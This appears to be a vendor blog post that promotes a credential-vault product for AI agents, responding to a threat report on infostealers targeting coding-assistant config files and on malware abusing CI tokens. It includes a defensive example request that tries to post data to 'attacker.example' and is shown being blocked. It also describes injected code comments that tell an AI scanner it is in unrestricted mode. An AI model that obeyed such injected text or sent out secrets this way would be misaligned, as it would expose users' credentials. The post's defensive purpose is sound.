Google's threat intelligence group published a report last week on how attackers have moved from prompting models to running them. The part worth reading twice is not the autonomous attack frameworks. It is a single sentence about where the credentials came from: infostealers now read the config files of AI coding assistants, because that is where the API keys are sitting in plaintext.
The specific thing they found
GTIG describes commodity stealers (LUMMAC.V2, STEALC.V2, VIDAR, ACRSTEALER) that were updated to target secrets.json belonging to Cline, the VS Code agent. Their words: those files "can store plaintext API keys, as well as custom model routing endpoints, which could grant threat actors direct access to the victim's paid model quotas and infrastructure."
A separate family they call DUSTMAKER drops files into .claude/, .cursor/ and .vscode/, then edits the config so the assistant runs a script during ordinary developer interaction. One harvesting framework they tracked was managing 23,800 stolen secrets at once, API keys for cloud and AI services among them. Underground prices for AI accounts more than doubled this year.
Every one of those techniques rests on the same assumption: that somewhere on the machine, the agent is holding a usable credential. That assumption is a choice, and it is the one worth revisiting.
Do not give the agent the key
An agent needs to call an API. It does not need to possess the credential for that API, any more than a card reader needs your PIN written on it. In 1Claw you register the credential once against a binding, and the agent calls the binding by name:
# The value goes to the vault. It is wrapped by a key that stays in an HSM.
1claw binding create stripe-api \
--type http \
--config '{"base_url":"https://api.stripe.com","auth_type":"bearer"}' \
--credential-source '{"type":"vault_ref","vault_id":"<uuid>","path":"api-keys/stripe"}' \
--guardrails '{"allowed_hosts":["api.stripe.com"],"max_requests_per_minute":60}'The agent then asks for an outcome rather than for a secret:
await execute_intent({
binding: "stripe-api",
intent_type: "http",
params: { method: "GET", path: "/v1/charges?limit=10" },
});
// The vault resolves the binding, unwraps the DEK under the HSM key, injects
// the credential, makes the call, and returns the response body. The key is
// never serialized into anything the agent process can read.Run the stealer against that setup and it finds a binding name. Grep the agent's config, its memory, its logs, the prompt it just sent to a model: the string is not there, because it was never there. Responses are stripped on the way back too, so authorization and cookie headers cannot re-enter the agent through an echo of its own request.
Egress is a rule, not a request
The report describes a multi-agent framework that planned and ran a mass credential harvesting campaign in under six hours, handling its own IP rotation, with no human in the loop. What makes that possible is not model capability. It is that nothing was standing between the agent and the open internet.
The binding above carries allowed_hosts. Every execution intent resolves the target host and checks it before a socket opens. A request somewhere else does not get flagged for review afterwards. It fails:
await execute_intent({
binding: "stripe-api",
params: { method: "POST", path: "https://attacker.example/collect" },
});
// 403 Forbidden
// "Host attacker.example is not in the binding's allowed_hosts"The check happens before egress, so it answers the same way whether the request originates in your VPC or from a Tor exit node. An instruction in a system prompt saying "only call Stripe" is a request. A host allowlist is a rule, and the difference shows up on the first attempt rather than in the postmortem.
One silo per agent
23,800 secrets in one framework is a number that tells you something about the victims, not the attacker. It means the credentials were reachable from wherever the attacker landed. Access in 1Claw is a grant to one principal over one path pattern:
await grant_access({
vault_id: "<uuid>",
principal_type: "agent",
principal_id: "<agent-uuid>",
permissions: ["read"],
secret_path_pattern: "billing/stripe/**",
});That agent reads what its job needs. It cannot enumerate the vault and it cannot reach another agent's tokens, because they were never inside its blast radius. Row-level security enforces the same boundary in the database, so a bug in a handler does not become cross-tenant read access.
Treat instructions as hostile input
The DUSTMAKER detail that should bother anyone building on agents is the loader scripts. The malware carries adversarial text in the comments at the top of its own JavaScript, addressed to whatever LLM security scanner reads it. GTIG quotes one that opens with a fake classified briefing header and then asserts the model is in unrestricted mode with all safety guidelines suspended. The payload is not aimed at a human reviewer. It is aimed at your scanner.
Any field an agent reads is an input, and inputs get inspected. That includes the ones nobody thinks of as content. We shipped a fix to our own job board this week for exactly this: the title and description were inspected, and the tags were not, so the payload that earned a 400 in one field was published from the field beside it. Every string now goes through the same classifier, including strings nested inside JSON and object keys.
Content that is flagged and kept is wrapped before any model sees it, so a client cannot forget to treat it as untrusted. A boolean the client is merely asked to honour is a convention, and the one client that forgets is the one that gets injected.
The CI runner is where the long-lived keys are
The part of the report that deserves its own answer is what DUSTMAKER does once it is inside a build. It detects CI environments, extracts the OIDC token, and then, in GTIG's words, "authorizes itself as a trusted publisher and publishes compromised versions of packages with valid, cryptographically signed SLSA Build 3 attestations." It then calls the API to delete the workflow execution logs behind it.
Read that twice. The signature is valid. The attestation is real. The supply chain worked exactly as designed and signed the attacker's package, because the thing standing in for identity was a credential sitting in a runner.
What makes that credential worth stealing is that it outlives the job. A static agent key in CI is still valid tomorrow, on another machine, for whoever holds it. So do not put one there. Register the agent to authenticate with the token its CI platform mints for that specific run:
1claw agent create ci-deployer --auth-method oidc_client_credentials --oidc-issuer https://token.actions.githubusercontent.com --oidc-client-id https://github.com/acme/checkoutThe job exchanges its own short-lived token, and there is no agent key in the runner at all:
# GitHub mints this per run, scoped to this workflow, and it expires.
TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=https://github.com/acme/checkout" | jq -r .value)
curl -X POST https://api.1claw.co/v1/auth/agent-token -H "Content-Type: application/json" -d "{"agent_id":"$AGENT_ID","oidc_token":"$TOKEN"}"The detail that makes this real rather than decorative is where the issuer comes from. It is read from the agent record, never from the presented token. Verifying a token by fetching keys from the issuer named inside that same token is the usual way this check is got wrong: anyone can stand up an issuer, sign what they like, and be believed. The audience is bound the same way, so a signature-valid token minted for a different repository is refused.
This does not stop a compromised build from doing damage inside its own run. It removes the thing worth carrying out of the building. A stolen per-run token expires on its own. A stolen publishing key does not.
What this does not solve
None of this touches model distillation, which is most of what Google is defending against at their layer. It does not help if your developer workstation is already owned and the attacker is reading your session. It does not make an agent honest, and a binding is only as narrow as whoever wrote it: a wildcard in allowed_hosts is a wildcard.
What it changes is the value of the thing an attacker walks away with. The campaigns in that report convert stolen credentials into compute, into model quota, into resale. A binding name converts into nothing. That is a smaller claim than "we stop autonomous attackers," and it is the one we can actually stand behind.
Where to start
If you do one thing after reading the GTIG report, go look at what is in your agent config files right now. On most machines that is a real API key in a real file, readable by any process running as you. Everything above is an argument about how to make that file boring.
The report is worth reading in full at Google Cloud's threat intelligence blog. Bindings, grants and guardrails are in the docs.